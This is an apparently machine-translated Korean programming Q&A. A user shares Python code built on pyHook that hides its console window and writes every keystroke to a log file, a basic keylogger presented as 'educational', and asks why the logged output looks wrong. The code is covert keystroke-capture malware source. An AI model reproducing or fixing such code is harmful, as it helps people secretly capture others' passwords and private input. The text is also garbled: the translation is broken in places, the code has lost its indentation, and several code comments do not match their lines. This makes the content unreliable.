0
그래서 Pyhook을 처음 접했고 교육적인 목적으로 나 자신을 키로거로 만들고 싶었다. 그러나 로그는 이상한 인풋을 제공합니다. 그것은 단지 무작위 적 기호이거나 항상 자본이거나 모든 선과 정상입니다.Pyhook이 어떤 이유로 나를 괴괴 망측하게 만든다.
저는 파이썬 3.4를 사용하고 있으며 저는 Windows에 있습니다.
이
내 코드입니다 :import pyHook
import pythoncom
import win32gui
import win32console
import os
import sys
import time
import getpass
file = open("C:\\Intel\\Logs\\log.txt", "w")
file.write("") #clears the log
file.close()
log_file = "C:\\Intel\\Logs\\log.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a")
if event.Ascii == 97: # (if char is "return")
f.write("a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
elif event.Ascii == 8: #(if char is "backspace")
f.write("[BACKSPACE]") #(print "[backspace]")
f.write(char)
print(char)# (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages() #get input
코드는 대부분 인터넷에서 가져하지만 약간 수정합니다.
이제 질문은 다음과 같습니다. 어떻게하면 정상 출력을 유지할 수 있습니까?
명확히해야 할 것이 있으면 알려주십시오.
이상한 입력, 이상한 출력 및 일반적인 출력은 무엇을 의미합니까? – BornToCode
정상 출력 : 실제로 i 타입을 출력 할 때. 이상한 표현 : 나는 심지어 사용할 수없는 것처럼 보이므로 그림이 여기에있다. https://gyazo.com/db2f067f55cabf97c179e2a8e0db0a37 – Lojas